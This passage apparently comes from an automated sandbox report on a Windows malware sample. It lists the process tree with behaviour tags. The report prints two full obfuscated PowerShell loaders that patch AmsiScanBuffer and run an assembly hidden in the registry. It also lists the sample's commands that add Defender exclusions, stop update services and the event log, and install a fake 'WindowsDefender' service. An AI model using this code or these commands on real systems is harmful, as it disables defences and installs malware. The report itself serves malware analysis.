27 PID 1436 wrote to memory of 1620 1436 dllhost.exe 28 PID 1436 wrote to memory of 1676 1436 dllhost.exe 29 PID 1436 wrote to memory of 1728 1436 dllhost.exe 30 PID 1436 wrote to memory of 1748 1436 dllhost.exe 31 PID 1436 wrote to memory of 1796 1436 dllhost.exe 32 PID 1436 wrote to memory of 1840 1436 dllhost.exe 33 PID 1436 wrote to memory of 1852 1436 dllhost.exe 34 PID 1436 wrote to memory of 1988 1436 dllhost.exe 35 PID 1436 wrote to memory of 2004 1436 dllhost.exe 36 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b32c4d0e-0720-48fc-8b85-ae03b94e59f0}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1436
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{587e74c4-0201-418f-93eb-38590fdbc7d3}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1496
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1088
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pCkClFaIBqSa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SlRwbJHPtEmDlW,[Parameter(Position=1)][Type]$rkxXhucxDs)$yiMWaPKKYUc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+'a'+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'du'+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+'d'+''+','+''+'A'+'n'+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+'t'+[Char](111)+''+'C'+'l'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$yiMWaPKKYUc.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+'c'+'ial'+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+','+''+'H'+''+[Char](105)+'de'+[Char](66)+''+'y'+''+'S'+'i'+'g'+','+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$SlRwbJHPtEmDlW).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+','+'M'+[Char](97)+'n'+'a'+''+'g'+'ed');$yiMWaPKKYUc.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+',N'+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+'t'+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+'l',$rkxXhucxDs,$SlRwbJHPtEmDlW).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $yiMWaPKKYUc.CreateType();}$xLTaYibHQxSHL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+'o'+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+'t'+''+'i'+''+[Char](118)+'e'+'M'+''+[Char](101)+''+'t'+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$oyHWYUHYvkiIFO=$xLTaYibHQxSHL.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'t'+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xXBSjHmvhPHKoBlBUHk=pCkClFaIBqSa @([String])([IntPtr]);$EbnoDXdZAgMurmQUykEJeQ=pCkClFaIBqSa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TihNuVTWNlo=$xLTaYibHQxSHL.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+'ul'+'e'+'Ha'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('ke'+'r'+'ne'+[Char](108)+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+'l')));$AomiFCDMrkCXaz=$oyHWYUHYvkiIFO.Invoke($Null,@([Object]$TihNuVTWNlo,[Object]('Loa'+[Char](100)+''+[Char](76)+'i'+'b'+'r'+[Char](97)+''+[Char](114)+''+'y'+'A')));$VVGYKLeAmTYwPAKjH=$oyHWYUHYvkiIFO.Invoke($Null,@([Object]$TihNuVTWNlo,[Object](''+[Char](86)+'ir'+'t'+'u'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+'e'+[Char](99)+''+'t'+'')));$MqjWLzo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AomiFCDMrkCXaz,$xXBSjHmvhPHKoBlBUHk).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'ll');$PochGauJfRZtApank=$oyHWYUHYvkiIFO.Invoke($Null,@([Object]$MqjWLzo,[Object](''+[Char](65)+'m'+[Char](115)+'i'+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+'r')));$OXSVbMQPtV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VVGYKLeAmTYwPAKjH,$EbnoDXdZAgMurmQUykEJeQ).Invoke($PochGauJfRZtApank,[uint32]8,4,[ref]$OXSVbMQPtV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PochGauJfRZtApank,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VVGYKLeAmTYwPAKjH,$EbnoDXdZAgMurmQUykEJeQ).Invoke($PochGauJfRZtApank,[uint32]8,0x20,[ref]$OXSVbMQPtV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+'T'+[Char](87)+''+'A'+''+'R'+'E').GetValue('di'+[Char](97)+'l'+[Char](101)+'r'+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:inBSNtUrQdVO{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JorYmLCKqGGssO,[Parameter(Position=1)][Type]$oqFRsseMuf)$nRXJgxvtmXJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+'e'+'g'+[Char](97)+'t'+[Char](101)+''+[Char](84)+'ype',''+'C'+''+'l'+''+'a'+'s'+'s'+',P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+'i'+''+'C'+'l'+[Char](97)+''+'s'+'s'+','+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$nRXJgxvtmXJ.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+'al'+[Char](78)+''+[Char](97)+''+[Char](109)+'e,H'+[Char](105)+'d'+'e'+''+'B'+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$JorYmLCKqGGssO).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+'a'+'g'+'e'+''+'d'+'');$nRXJgxvtmXJ.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+'k'+'e'+'',''+[Char](80)+'u'+'b'+''+'l'+''+'i'+'c,'+[Char](72)+''+[Char](105)+'deB'+[Char](121)+''+'S'+''+'i'+'g,'+'N'+''+'e'+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+'l',$oqFRsseMuf,$JorYmLCKqGGssO).SetImplementationFlags('Run'+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $nRXJgxvtmXJ.CreateType();}$uzWYOuCaFALhz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+'ll')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+'o'+'s'+'of'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+'a'+''+'f'+''+[Char](101)+''+'N'+'ati'+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+'tho'+[Char](100)+''+[Char](115)+'');$IVrXeAiGbPKJhq=$uzWYOuCaFALhz.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+'r'+'o'+''+'c'+'A'+[Char](100)+''+'d'+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tfYmUPdFUCvhdByZklK=inBSNtUrQdVO @([String])([IntPtr]);$naiCKWWYfNyoIQFRaQdUSL=inBSNtUrQdVO @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$itCDwAYdTHU=$uzWYOuCaFALhz.GetMethod(''+[Char](71)+''+[Char](101)+'tMo'+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'Han'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+'32'+'.'+''+'d'+'ll')));$cfzPIVFyKTiIZG=$IVrXeAiGbPKJhq.Invoke($Null,@([Object]$itCDwAYdTHU,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+'b'+''+[Char](114)+''+[Char](97)+'r'+'y'+'A')));$laKflEencepfMEjoC=$IVrXeAiGbPKJhq.Invoke($Null,@([Object]$itCDwAYdTHU,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+''+'P'+''+[Char](114)+'o'+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$aBzCWbF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cfzPIVFyKTiIZG,$tfYmUPdFUCvhdByZklK).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+'l'+'');$eonIhOdkgoGlWlXcN=$IVrXeAiGbPKJhq.Invoke($Null,@([Object]$aBzCWbF,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$RzDFtkINYC=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($laKflEencepfMEjoC,$naiCKWWYfNyoIQFRaQdUSL).Invoke($eonIhOdkgoGlWlXcN,[uint32]8,4,[ref]$RzDFtkINYC);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eonIhOdkgoGlWlXcN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($laKflEencepfMEjoC,$naiCKWWYfNyoIQFRaQdUSL).Invoke($eonIhOdkgoGlWlXcN,[uint32]8,0x20,[ref]$RzDFtkINYC);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+'WA'+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3856 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1112
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1416
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1544
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1568
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1676
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2004
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2748
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2828
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:396
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3376
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C:\Users\Admin\AppData\Local\Temp\77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe"C:\Users\Admin\AppData\Local\Temp\77106bc35dd4b844f12f5cfd31970763a514ae39c4f6b1fb349bab5cef169cccN.exe"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4788
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:1044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4968
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3448
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:4388
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:3792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4064
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3252
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3412
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:3336
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WindowsDefender"3⤵
- Launches sc.exe
PID:3304
-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WindowsDefender" binpath= "C:\ProgramData\WindowsDefender\windows32.exe" start= "auto"3⤵
- Launches sc.exe
PID:4512
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:4060
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WindowsDefender"3⤵
- Launches sc.exe
PID:4560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3552
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3776
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3980
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4104
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1040
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4120
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2472
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4304
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4248
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3968
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3048
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:1648
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:1476
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4012
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C:\ProgramData\WindowsDefender\windows32.exeC:\ProgramData\WindowsDefender\windows32.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3140
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-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2296
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1472
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:452
-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2460
-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1608
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4768
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2040
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-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1760
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3328
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1480
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4268
-
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4732
